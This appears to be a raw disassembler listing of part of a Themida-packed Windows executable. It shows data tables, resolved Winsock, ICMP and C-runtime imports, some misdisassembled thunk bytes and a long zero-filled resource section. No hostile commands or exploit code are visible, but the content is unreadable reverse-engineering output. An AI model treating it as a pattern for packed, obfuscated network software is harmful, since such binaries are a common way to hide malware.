					; sub_4269A0+7Ew ...
		dd 7Fh dup(0)
		db 3 dup(0)
dword_44B18B	dd 0							; sub_4269A0+4Fw ...
dword_44B18F	dd 0							; ___:0042419Dw ...
dword_44B193	dd 0							; sub_4269A0+5Dr ...
dword_44B197	dd 0							; sub_4269A0+8Cr ...
dword_44B19B	dd 0							; sub_4269A0+9Dr
dword_44B19F	dd 0							; ___:004241D1r ...
byte_44B1A3	db 0			; DATA XREF: sub_426930+42w
					; sub_4269A0+85w
		dd 2828h dup(0)
		db 3 dup(0)
byte_455247	db 0			; DATA XREF: ___:off_446EF4o
		dd 0EB85h dup(0)
dword_49005C	dd 0BD23h dup(0)		db 0
byte_4BF4E9	db 3 dup(0)		; DATA XREF: ___:off_402027o
		dd 53D8h dup(0)
		db 0
byte_4D444D	db 3 dup(0)		; DATA XREF: ___:off_44530Co
		dd 0BFFh dup(0)
		db 2 dup(0)
word_4D744E	dw 0			; DATA XREF: sub_58F5B5+75AEo
					; sub_58F5B5+75BFo
		dd 2CEh	dup(0)
		db 3 dup(0)
dword_4D7F8B	dd 0							; sub_426BD0+13o
		align 10h
		dd 39h dup(0)
		db 0
byte_4D8075	db 3 dup(0)		; DATA XREF: sub_404C70+1Eo
					; sub_404CC0+65o ...
		dd 5 dup(0)
byte_4D808C	db 0			; DATA XREF: sub_404CC0+292w
					; sub_404CC0+4EBw
dword_4D808D	dd 0							; sub_422B40:loc_4232C4r ...
		align 4
		dd 0
		db 0
dword_4D8099	dd 0							; sub_404C70+2Aw
byte_4D809D	db 3 dup(0)		; DATA XREF: ___:00412FC4o
					; ___:00412FE7o
		dd 9 dup(0)
		db 3 dup(0)
dword_4D80C7	dd 0							; sub_428DC0:loc_428EB7r
		align 4
		dd 2Fh dup(0)
		db 3 dup(0)
byte_4D818B	db 0			; DATA XREF: sub_426B60+16o
					; sub_426B90+19o
		db 3 dup(0)
byte_4D818F	db 0			; DATA XREF: sub_426A90+4Co
		dd 6Fh dup(0)
		db 3 dup(0)
byte_4D834F	db 0			; DATA XREF: ___:00408291o
					; ___:00408722o ...
		dd 8 dup(0)
dword_4D8370	dd 0				dd 51h dup(0)
		db 0
byte_4D84B9	db 0			; DATA XREF: sub_427B10:loc_427BC0r
					; sub_427FD0:loc_428085r ...
		align 4
		dd 9Eh dup(0)
		db 0
dword_4D8735	dd 0							; sub_427FD0+7Dw ...
		align 4
		dd 1EDAh dup(0)
		db 0
byte_4E02A5	db 3 dup(0)		; DATA XREF: ___:00419F93o
					; sub_41A050+13o
		dd 1EB9h dup(0)
		db 3 dup(0)
byte_4E7D8F	db 0			; DATA XREF: sub_427D50+1Do
		dd 21h dup(0)
		db 0
byte_4E7E15	db 3 dup(0)		; DATA XREF: ___:00419FA3o
		dd 235h	dup(0)
		db 3 dup(0)
byte_4E86EF	db 0			; DATA XREF: sub_427D50+2Fo
		dd 1D5h	dup(0)
byte_4E8E44	db 0			; DATA XREF: sub_404CC0+299w
					; sub_410030:loc_410072r ...
byte_4E8E45	db 3 dup(0)		; DATA XREF: sub_404CC0+235o
					; sub_404CC0+874o ...
		dd 4 dup(0)
		db 2 dup(0)
word_4E8E5A	dw 0			; DATA XREF: sub_404CC0+2D4o
					; ___:00408736o ...
		dd 0Fh dup(0)
		db 0
byte_4E8E99	db 0			; DATA XREF: sub_41F960+31w
					; sub_41F960+47w ...
		db 0
byte_4E8E9B	db 0			; DATA XREF: sub_418590+21o
					; sub_41D930+341o ...
		dd 6D2Eh dup(0)
dword_504354	dd 12B6h dup(0)	dword_508E2C	dd 1000h dup(0)						; ___:00419B9Do ...
dword_50CE2C	dd 333h	dup(0)						; ___:00419BB8o ...
dword_50DAF8	dd 0							; sub_41A110+1Br ...
		dd 3 dup(0)
dword_50DB08	dd 0							; ___:0041FC3Dw ...
dword_50DB0C	dd 0							; sub_41FB90+2Aw ...
dword_50DB10	dd 0		dword_50DB14	dd 0							; ___:0041FC5Bw
dword_50DB18	dd 0		dword_50DB1C	dd 0							; ___:0041FC67w ...
dword_50DB20	dd 0							; ___:0041FC6Dw ...
dword_50DB24	dd 0							; ___:00420EA9o
dword_50DB28	dd 0							; sub_41FB90:loc_41FBB4r ...
dword_50DB2C	dd 0							; ___:0041FC81w
dword_50DB30	dd 0							; sub_420630+41w ...
dword_50DB34	dd 0							; sub_420630+7Fr
dword_50DB38	dd 0							; sub_420630+92r ...
dword_50DB3C	dd 0							; sub_420630+148r
		dd 3 dup(0)
dword_50DB4C	dd 0							; ___:0041C2A5o
dword_50DB50	dd 0							; sub_423820+5r ...
dword_50DB54	dd 0							; ___:00423FABr ...
		dd 7CEh	dup(0)
dword_50FA90	dd 6 dup(0)						; ___:00423EAFo ...
dword_50FAA8	dd 196h	dup(0)						; sub_423760+6Do
dword_510100	dd 0		word_510104	dw 0			; DATA XREF: sub_424F70+A9r
		align 4
word_510108	dw 0			; DATA XREF: sub_4253C0+45r
					; sub_4257F0+DAr
		align 4
dword_51010C	dd 0				dd 0
byte_510114	db 0			; DATA XREF: sub_4267D0:loc_426830r
					; sub_4267D0+97w
		align 4
dword_510118	dd 0		; resolved to->IPHLPAPI.IcmpSendEcho					; sub_427B10+D9r
dword_51011C	dd 0		; resolved to->IPHLPAPI.IcmpCreateFile					; sub_427B10+45r
dword_510120	dd 0		; resolved to->IPHLPAPI.IcmpCloseHandle					; sub_427B10+54r ...
		align 8
dword_510128	dd 80h dup(0)						; sub_427D50+129o
dword_510328	dd 0		dword_51032C	dd 0				dd 1Dh dup(0)
dword_5103A4	dd 0							; ___:0042C40Dr ...
dword_5103A8	dd 0							; sub_42DE00:loc_42DE96r ...
dword_5103AC	dd 0		; resolved to->WS2_32.connect					; sub_432570+2Dr ...
dword_5103B0	dd 0		dword_5103B4	dd 0							; sub_431560r ...
dword_5103B8	dd 0		dword_5103BC	dd 0							; sub_4309A0+111w ...
dword_5103C0	dd 0							; sub_4309A0+F6r ...
dword_5103C4	dd 0							; ___:loc_4316A0r
dword_5103C8	dd 0		; resolved to->KERNEL32.InterlockedCompareExchange					; sub_4322D0+2Cr ...
		dd 2 dup(0)
		dd 0
		dd 13Ah	dup(0)
dword_5108C0	dd 10h dup(0)						; sub_431470:loc_4314A0o ...
dword_510900	dd 8 dup(0)						; sub_430830+25o ...
dword_510920	dd 8 dup(0)						; sub_431980+25o ...
dword_510940	dd 8 dup(0)						; sub_432850+84o ...
dword_510960	dd 8 dup(0)						; sub_432850+8Bo ...
dword_510980	dd 9 dup(0)						; sub_4309A0:loc_430AB7o ...
		dd 0FFFFFFFFh, 3 dup(0)
		dd 0FFFFFFFFh
		dd 192h	dup(0)
		dd 5 dup(1AA6794Dh), 5 dup(65E48F8Fh), 5 dup(62BB46C0h)
		dd 5 dup(367B0C75h), 5 dup(66DFA7DFh), 5 dup(631E0D7Bh)
		dd 5 dup(24DCE02Ah), 5 dup(1833ACDBh), 5 dup(6708C228h)
		dd 5 dup(567B75C4h), 5 dup(69387376h), 1Eh dup(0)
		dd 631E0D7Bh, 10h dup(0)
aVs8i		db 'vs8i',0
		align 10h
		dd 58h dup(0)
		dd 367B0C75h, 1Ch dup(0)
		dd 6708C228h, 14h dup(0)
		dd 65E48F8Fh, 52h dup(0)
		dd 1AA6794Dh, 1Bh dup(0)
		dd 567B75C4h, 0Bh dup(0)
		dd 24DCE02Ah, 0Ch dup(0)
		dd 66DFA7DFh, 2Bh dup(0)
		dd 1833ACDBh, 11h dup(0)
		dd 62BB46C0h, 0Ah dup(0)
		dd 28D03D8h, 28E0000h, 28F0000h
dword_511718	dd 28F134Ch			dd 28F14ACh
dword_511720	dd 28F17DAh	; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 1Ah,	8Fh, 2
		dd 2900000h
dword_51172C	dd 2910000h			dd 2920000h, 29202B8h, 292062Fh, 2920AA7h
dword_511740	dd 2930000h						; sub_40E870+25Ar ...
dword_511744	dd 2930545h	dword_511748	dd 293078Eh			dd 2930926h, 2930C4Ch
dword_511754	dd 2940000h						; sub_40EE40+15Er ...
		dd 2940261h
dword_51175C	dd 2950000h						; sub_40E870+22Cr
		dd 2960000h
dword_511764	dd 296029Eh						; sub_4208E0+285r ...
		dd 2970000h
dword_51176C	dd 2971201h						; sub_40E870+24Cr
		dd 10h dup(0)
		dd 76F36C5Bh, 0Bh dup(0)
dword_5117E0	dd 2710000h						; sub_420630+FEr
		dd 2720000h, 2730000h, 2730720h, 2730994h, 2730CADh, 2730EACh
		dd 2740000h, 2740763h, 2740BAAh, 2750000h, 275020Ah, 27508C5h
		dd 27508F4h, 2760000h, 27603DDh, 2760715h, 2760A57h, 2760C28h
		dd 2760F67h, 2770000h, 27705EAh, 27706C8h, 2770982h, 2770B7Fh
		dd 2770D73h, 2780000h, 27802D5h, 2780469h, 2780570h, 278076Dh
		dd 278081Eh, 2790000h
dword_511864	dd 27906F2h	dword_511868	dd 2790E47h	dword_51186C	dd 27A0000h			dd 7C901005h, 7C9010EDh, 27A0187h, 27A01BFh, 27A01DCh
		dd 27A02ABh, 27A0A61h, 27B0000h, 27B03C5h, 27C0000h, 27D0000h
		dd 27D0990h, 27E0000h, 27F0000h, 27F088Ah
dword_5118AC	dd 27F0C4Bh						; sub_410030+47r ...
		dd 27F0D56h, 2800000h, 2800565h, 2810000h, 2820000h, 2830000h
		dd 2840000h
dword_5118CC	dd 2841680h			dd 2841874h, 2850000h
dword_5118D8	dd 2850369h						; sub_41B5B0+2Fr ...
		dd 2850505h
dword_5118E0	dd 2850BF4h						; sub_4204D0+2Er ...
		dd 2860000h, 2870000h, 2870C69h
dword_5118F0	dd 2880000h			dd 288033Bh, 2890000h, 28A0000h, 28A1273h, 28A1CCEh, 28B0000h
		dd 28B0717h, 28B0DC4h
		dd 28C0000h
dword_511918	dd 28C04C7h						; sub_420630:loc_42067Cr ...
		dd 1Ah dup(0)
		dd 71B2578Ch, 71B2517Fh, 71B25099h, 0Bh	dup(0)
		dd 76085AE4h, 760976AFh, 7608B84Ch, 76081F67h, 760A0430h
		dd 7608F485h, 7609202Eh, 760A044Fh, 760A036Bh
dword_5119E0	dd 760AC190h			dd 0Dh dup(0)
; ---------------------------------------------------------------------------
		xchg	eax, esp
		pop	esp
		retn
; ---------------------------------------------------------------------------
		ja	short loc_511A99
		push	ebx
		retn
; ---------------------------------------------------------------------------
		db 77h
		db 0DBh	; Ϋ
		db 0F1h	; ρ
		db 0C1h	; Α
		db  77h	; w
; ---------------------------------------------------------------------------


loc_511A24:				; CODE XREF: ___:00511A34j
		movsb
		icebp
		sal	dword ptr [edi-28h], 23h
		mov	byte ptr [edi+75h], 0D6h
		les	esi, [edi+67h]
		popf
		retn
; ---------------------------------------------------------------------------
		db 77h
; ---------------------------------------------------------------------------
		jmp	short loc_511A24
; ---------------------------------------------------------------------------
		sal	dword ptr [edi-54h], 17h
		mov	byte ptr [edi-52h], 2Dh
		retn
; ---------------------------------------------------------------------------
		db 77h
		dd 77C39E9Ah, 77C34DF8h, 77C34E51h, 77C21868h, 77C40BB1h
		dd 77C36D74h, 77C3619Ch, 77C49113h, 77C3A307h, 77C3A3DBh
		dd 77C4186Ah
dword_511A6C	dd 77C3F931h	; resolved to->MSVCRT.sprintf					; sub_42E5B0+53r ...
dword_511A70	dd 77C1F2BCh	; resolved to->MSVCRT._errno		dd 77C371FAh, 77C36DF2h
dword_511A7C	dd 77C5F97Ch	; resolved to->MSVCRT.__mb_cur_max		dd 77C4EE2Fh, 77C227FAh, 77C2C0C3h
dword_511A8C	dd 77C40E13h	; resolved to->MSVCRT.fprintfdword_511A90	dd 77C5FC80h	; resolved to->MSVCRT._iob					; sub_42DE00+4Ar ...
; ---------------------------------------------------------------------------
		imul	dh
		retn
; ---------------------------------------------------------------------------
		db 77h
		db 72h
; ---------------------------------------------------------------------------


loc_511A99:				; CODE XREF: ___:00511A1Bj
		sbb	eax, esp
; ---------------------------------------------------------------------------
		db 77h
dword_511A9C	dd 77C47BE0h	; resolved to->MSVCRT.strrchrdword_511AA0	dd 77C4173Bh	; resolved to->MSVCRT.fwritedword_511AA4	dd 77C4139Ch	; resolved to->MSVCRT.fseekdword_511AA8	dd 77C4624Eh	; resolved to->MSVCRT._stricmpdword_511AAC	dd 77C41574h	; resolved to->MSVCRT.ftelldword_511AB0	dd 77C411FBh	; resolved to->MSVCRT.fread		dd 77C40E76h
dword_511AB8	dd 77C47E61h	; resolved to->MSVCRT.wcscat					; ___:0041C3DAr
; ---------------------------------------------------------------------------
		adc	al, dh
		retn
; ---------------------------------------------------------------------------
		db 77h
		dd 77C40AB1h, 77C4FA10h
dword_511AC8	dd 77C371D3h	; resolved to->MSVCRT.rand					; sub_41BA50+17Er ...
		dd 77C371BCh
dword_511AD0	dd 77C2C21Bh	; resolved to->MSVCRT.free					; sub_42F2C0+34r ...
		dd 77C2C407h
dword_511AD8	dd 77C47920h	; resolved to->MSVCRT.strncat		dd 77C39E7Eh
dword_511AE0	dd 77C47A50h	; resolved to->MSVCRT.strncmp					; sub_42DE00+90r
dword_511AE4	dd 77C3FA76h	; resolved to->MSVCRT._snprintf					; sub_426070+C8r ...
		db 90h
		db 0CFh, 0C1h, 77h
dword_511AEC	dd 77C47660h	; resolved to->MSVCRT.strchr		db 8Ah,	0FFh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 77h
; ---------------------------------------------------------------------------
		mul	byte ptr [esi]
		retn	0E777h
; ---------------------------------------------------------------------------
		db 14h,	0C2h, 77h
		dd 77C29CC5h
dword_511B00	dd 77C47CE5h	; resolved to->MSVCRT.strtok					; sub_41BD90+5Dr
dword_511B04	dd 77C47C60h	; resolved to->MSVCRT.strstr					; sub_410030+1126r ...
dword_511B08	dd 77C47A90h	; resolved to->MSVCRT.strncpy					; ___:00419CDAr
		dd 77C29CDDh, 77C293C7h
dword_511B14	dd 77C1BF18h	; resolved to->MSVCRT.atoi					; sub_422B40+203r ...
		dd 77C35F0Dh
dword_511B1C	dd 77C5F988h	; resolved to->MSVCRT._pctype		dd 77C46170h, 77C1C561h, 77C46125h
		dd 77C46320h
		dd 19h dup(0)
		dd 76BF215Ah, 76BF1F1Ch, 76BF3A9Ah, 0Bh	dup(0)
		dd 7CA41110h, 0Bh dup(0)
		dd 28D0000h
off_511C00	dd offset sub_5F76F7	; DATA XREF: ___:00419FBDr
					; sub_41A050+2Dr ...
		dd 0Bh dup(0)
		dd 71AB951Eh, 71AB3E00h
dword_511C38	dd 71AB2B66h	; resolved to->WS2_32.ntohs					; sub_425100:loc_4251B2r ...
dword_511C3C	dd 71AB3B91h	; resolved to->WS2_32.socket					; sub_42B8E0:loc_42B99Br
		dd 71AB406Ah, 71AB4428h, 71AB664Dh, 71AB50C8h
dword_511C50	dd 71AB94DCh	; resolved to->WS2_32.WSAGetLastError		dd 71AB4544h, 71AC0B50h
dword_511C5C	dd 71AB2B66h	; resolved to->WS2_32.ntohs		dd 71AB2BC0h
dword_511C64	dd 71AB2D0Fh	; resolved to->WS2_32.recvfromdword_511C68	dd 71AB2C69h	; resolved to->WS2_32.sendto					; sub_42B8E0+F9r
		dd 71AB3EA1h, 71AB8769h, 71AB4489h, 71ABE6EBh, 71AC0BDEh
		dd 71AB2A5Eh, 71AB4FD4h
dword_511C88	dd 71AB3F41h	; resolved to->WS2_32.inet_ntoa		dd 71AB88D3h, 71AB2BC0h
dword_511C94	dd 71AB2DC0h	; resolved to->WS2_32.select					; sub_41A7D0+48r ...
dword_511C98	dd 71AC1028h	; resolved to->WS2_32.acceptdword_511C9C	dd 71AB9639h	; resolved to->WS2_32.closesocket					; sub_41F960+198r ...
dword_511CA0	dd 71AB428Ah	; resolved to->WS2_32.send					; ___:004217E1r ...
dword_511CA4	dd 71AB615Ah	; resolved to->WS2_32.recv					; sub_4253C0+8Br ...
		dd 71AB2BF4h
dword_511CAC	dd 71AB4519h	; resolved to->WS2_32.ioctlsocket					; sub_42C830+E8r
		dd 71ABE479h, 11h dup(0)
		dd 76D6AC1Dh, 4C1h dup(0)
___		ends

; Section 2. (virtual address 00113000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00113000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rsrc___	segment	para public 'DATA' use32
		assume cs:_rsrc___
		;org 513000h
unk_513000	db    0			; DATA XREF: Themida_:00582500o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
